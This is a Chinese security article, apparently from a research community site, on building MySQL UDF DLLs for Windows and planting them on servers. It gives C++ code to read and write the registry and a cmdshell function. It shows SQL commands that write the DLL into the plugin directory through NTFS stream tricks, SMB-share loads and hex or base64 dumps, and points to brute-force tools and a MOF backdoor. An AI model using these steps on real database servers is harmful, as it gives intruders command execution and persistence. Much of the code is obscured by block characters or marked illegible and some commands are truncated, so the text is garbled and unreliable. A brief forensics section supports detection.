

## 1、MySQL UDF是什么

UDF是Mysql提供给用户实现自己功能的一个接口，为了使UDF机制起作用，函数必须用C或C++编写，并且操作系统必须支持动态加载。这篇文章主要介绍UDF开发和利用的方法。

## 2、UDF开发

操作系统:Windows 10

测试环境：PHPStudy+Mysql 5.5(x64)

编译器：VS2015

## 2.1 编译器方法

- MySQL源码包

从MySQL官网下载对应版本的源码包，把MySQL对应版本的源码下载回来。将include文件夹和lib文件夹解压至C++项目路径。

<http://mirror.yandex.ru/mirrors/ftp.mysql.com/Downloads/MySQL-5.5/mysql-5.5.59-winx64.zip>

## VS2015配置-项目属性

将MySQL的include、lib文件夹放到C++项目路径后。属性配置如下：

- include : VC++ 目录->包含目录->添加include目录
- lib : VC++ 目录->库目录->添加lib目录
- libmysql.lib : 链接器->附加依赖项->添加libmysql.lib

## 2.2 调试方法

UDF在程序代码中加入调试OutputDebugStringA();就可以输出调试的信息了。在每个分支都输出相对应的调试信息，就可以获取当前运行的状态。

```
OutputDebugStringA( "--UDF:my_name( )■■■" );
```

## 2.3 使用UDF扩展

```
// ■■■■
CREATE FUNCTION about RETURNS string SONAME "mysql_udf_c++.dll";
// ■■■■
Drop function about;
// ■■■■
select about();
// ■■
select * from mysql.func where name = 'cmdshell';
```

## 2.4 CPP源码思路

- 执行CMD SHELL

使用方式：

[illegible]

CPP源码如下：

```
#include <winsock.h>
#include <mysql.h>
#ifdef UNICODE
#define UNICODE
```



[illegible]



[illegible]

```
&cSubKeys, // ██████████
&cbMaxSubKey, // ████████████████████████████████████████████
&cchMaxClass, // ████████████████████████████████████████
&cValues, // ████████████████████
&cchMaxValue, // ████████████████████████████████████████
&cbMaxValueData, // ████████████████████████████████████████████
&cbSecurityDescriptor, // ████████████████████
&ftLastWriteTime); // ████████████████████████████████████████

// ██████.
// ██████████
if (cValues)
{
    for (i = 0, retCode = ERROR_SUCCESS; i < cValues; i++)
    {
        cchValue = MAX_VALUE_NAME;
        dwSize = MAX_VALUE_NAME;
        achValue[0] = '\\0';
        data[0] = '\\0';
        retCode = RegEnumValue(aTestKey, i,
            wStr,
            &cchValue,
            NULL,
            NULL,
            NULL,
            NULL);
        RegQueryValueEx(aTestKey, wStr,
            NULL,
            &dwType,
            (LPBYTE)data,
            &dwSize);

        // █████ char wchar
        int len = MultiByteToWideChar(CP_ACP, 0, (char*)(args->args)[2], strlen((char*)(args->args)[2]), NULL, 0);
        wchar_t* m_wchar = new wchar_t[len + 1];
        MultiByteToWideChar(CP_ACP, 0, (char*)(args->args)[2], strlen((char*)(args->args)[2]), m_wchar, len);
        m_wchar[len] = '\\0';

        if (retCode == ERROR_SUCCESS && wcscmp(wStr, m_wchar) == 0)
        {
            //printf("\n████%ls\n████%ls", wStr, data);

            //██████████████████
            dBufSize = WideCharToMultiByte(CP_OEMCP, 0, data, -1, NULL, 0, NULL, FALSE);

            //████████
            result = new char[dBufSize];
            memset(result, 0, dBufSize);
            //███
            int nRet = WideCharToMultiByte(CP_OEMCP, 0, data, -1, result, dBufSize, NULL, FALSE);

        }
    }
}
delete[]wStr;
RegCloseKey(aTestKey);

// *is_null████1████████NULL
if (!(*result) || result == NULL) {
    *is_null = 1;
}
else {
    result[dBufSize] = 0x00;
    *length = strlen(result);
}
```



```

else if (strcmp("HKEY_CURRENT_USER", (char*)(args->args)[0]) == 0)
    hRoot = HKEY_CURRENT_USER;
else if (strcmp("HKEY_USERS", (char*)(args->args)[0]) == 0)
    hRoot = HKEY_USERS;
else
{
    initid->ptr = (char *)malloc(50 + strlen((args->args)[0]));
    sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[0]);
    *length = (unsigned long)strlen(initid->ptr);
    return initid->ptr;
}

HKEY hKey;
DWORD dwType = REG_SZ;
// ██████████

// ████████
// szSubKey████ char█wchar
int szSubKey_len = (int)MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), NULL, 0);
wchar_t* szSubKey = new wchar_t[szSubKey_len + 1];
MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), szSubKey, szSubKey_len);
szSubKey[szSubKey_len] = '\\0';

size_t lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
if (lRet != ERROR_SUCCESS)
{
    initid->ptr = (char *)malloc(50 + strlen((args->args)[1]));
    sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[1]);
    *length = (unsigned long)strlen(initid->ptr);
    return initid->ptr;
}

// ██████████
// ValueName██████ char█wchar
int ValueName_len = MultiByteToWideChar(CP_ACP, 0, (args->args)[2], strlen((args->args)[2]), NULL, 0);
wchar_t* ValueName = new wchar_t[ValueName_len + 1];
MultiByteToWideChar(CP_ACP, 0, (args->args)[2], strlen((args->args)[2]), ValueName, ValueName_len);
ValueName[ValueName_len] = '\\0';

//// ██████████ char█wchar
int data_len = MultiByteToWideChar(CP_ACP, 0, (args->args)[3], strlen((args->args)[3]), NULL, 0);
wchar_t* data = new wchar_t[data_len + 1];
MultiByteToWideChar(CP_ACP, 0, (args->args)[3], strlen((args->args)[3]), data, data_len);
data[data_len] = '\\0';
// ██████████
DWORD iLen = (DWORD)wcslen(data);

//████████
lRet = RegSetValueEx(hKey, ValueName, 0, dwType, (unsigned char*)data, sizeof(wchar_t)*data_len);
if (lRet != ERROR_SUCCESS)
{
    initid->ptr = (char *)malloc(50 + strlen((args->args)[2]));
    sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[2]);
    *length = (unsigned long)strlen(initid->ptr);
    return initid->ptr;
}
RegCloseKey(hKey);

// █*is_null████1██████NULL
if (!(*result) || result == NULL) {
    *is_null = 1;
}
else {
    sprintf(result, "success");
    result[iLen] = 0x00;
    *length = strlen(result);
}
}

```



```
// ■■■■
return result;
}

extern "C" __declspec(dllexport) void regwrite_deinit(
    UDF_INIT *initid)
{
    if (initid->ptr)
    {
        free(initid->ptr);
    }
}
```

### 3、UDF加载方法

UDF有两种加载方式，一种是修改修改MySQL配置文件。第二种则是将UDF放置在MySQL指定的插件目录中加载。

### 3.1 修改MySQL配置文件

另一种方法是用插件目录编写一个新的MySQL配置文件并将其传递给mysqld。

## 启动参数配置

```
// ■■■mysql■plugin■■■■■
mysql.exe -plugin-dir=C:\\temp\\plugins\\
// ■■■■■mysql■■■■■■■■■-defaults-file■■■■■■■■■mysql
mysql.exe --defaults-file=C:\\temp\\my.ini
```

## my.ini配置

```
[mysqld]
plugin_dir = C:\\temp\\plugins\\
```

### 3.2 新建插件目录

```
show variables like 'plugin_dir'; # ■■■■
```

```
select 'xxx' into outfile 'D:\phpStudy\MySQL\lib::$INDEX_ALLOCATION'; # ■■■■lib
```

```
select 'xxx' into outfile 'D:\phpStudy\MySQL\lib\plugin::$INDEX_ALLOCATION'; # ■■■■plugin
```

### 3.3 导出UDF文件置扩展目录

## load\_file函数

- `load_file`函数支持网络路径，如果将DLL复制到网络共享中，则可以直接加载它并写入磁盘。

```
select load_file('\\\\192.168.0.19\\share\\udf.dll') into outfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
```

- 用一个十六进制编码的字符串将整个DLL文件写入磁盘。

```
// ■■■hex■■■
select hex(load_file('D:\\udf.dll')) into outfile "D:\\udf.hex";
// ■■
select 0x4d5a..... into outfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
```

- 创建一个表并将二进制数据插入到十六进制编码流中，其中的二进制数据用update语句来连接。

```
create table temp(data longblob);
insert into temp(data) values (0x4d5a9...);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b37
```

- 直接在磁盘上将文件从网络共享加载到第三种方法创建的表中，使用“load data infile”语句在本地加载。像上图所示将文件转换为十六进制，并在写入磁盘时取消编辑。

```
load data infile '\\\\192.168.0.19\\share\\udf.hex' into table temp fields terminated by '@OsandaMalith' lines terminated by '
select unhex(data) from temp into outfile 'D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll';
```

- 使用MySQL 5.6.1和MariaDB 10.0.5中介绍的函数“to base64”和“from base64”上传二进制文件。

```
# 0000base64
select to_base64(load_file('D:\\udf.dll'));

# base640000DLL
select from_base64("Base640000") into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll"0000
```

## 4、Mysql弱口令

### 4.1 暴力破解程序

工具：hydra

CPP

用链表实现的MYSQL、MSSQL和oracle密码爆破C程序

<http://blog.51cto.com/foxhack/35604>

- Python

[https://github.com/chinasun021/pwd\\_crack/blob/master/mysql/mysql\\_crack.py](https://github.com/chinasun021/pwd_crack/blob/master/mysql/mysql_crack.py)

<https://www.waitalone.cn/python-mysql-mult.html>

- Go

<https://github.com/netxfly/x-crack>

### 4.2 MySQL口令加密解密

## 5、WEB组合利用

### 5.1 后门方法

导出Mof

### 5.2 WEB渗透测试扩展

php探针、PHPMyadmin

## 6、取证分析

```
// 00000000
select @@version_compile_os,@@version_compile_machine,@@plugin_dir;

// 00000000
select * from mysql.func;
```

## 7、参考

Mysql函数扩展之UDF开发

<https://blog.csdn.net/albertsh/article/details/78567661>

VS2015配置C/C++-MySQL开发环境

[https://blog.csdn.net/daso\\_csdn/article/details/54646859](https://blog.csdn.net/daso_csdn/article/details/54646859)

MySQL UDF ( 自定义函数 )

<https://www.cnblogs.com/raker/p/4377343.html>

MySQL UDF的调试方式 - debugview

<https://blog.csdn.net/swotcoder/article/details/18527>

详详详解MySQL UDF执行命令

[http://www.360doc.cn/article/31784658\\_733287732.html](http://www.360doc.cn/article/31784658_733287732.html)

利用MySQL UDF进行的一次渗透测试  
[https://m.sohu.com/a/224950139\\_354899/?pvid=000115\\_3w\\_a](https://m.sohu.com/a/224950139_354899/?pvid=000115_3w_a)

24.4.2.2 UDF Calling Sequences for Aggregate Functions  
<https://dev.mysql.com/doc/refman/5.5/en/udf-aggr-calling.html>

windows下编写mysql UDF函数的失败经历，与ubuntu下的成功编译经历  
[https://blog.csdn.net/watch\\_ch/article/details/54015948](https://blog.csdn.net/watch_ch/article/details/54015948)

开源项目  
[https://github.com/mysqludf/lib\\_mysqludf\\_sys](https://github.com/mysqludf/lib_mysqludf_sys)

8、UDF写注册表源码

C++\_Mysql开发\_UDF写注册表.rar (0.268 MB) [下载附件](#)  
点击收藏 | 1 关注 | 1  
[上一篇：Bundle风水——Android...](#) [下一篇：Gitlab远程代码执行漏洞](#)

1. 0 条回复
- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

---

[现在登录](#)

热门节点

---

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)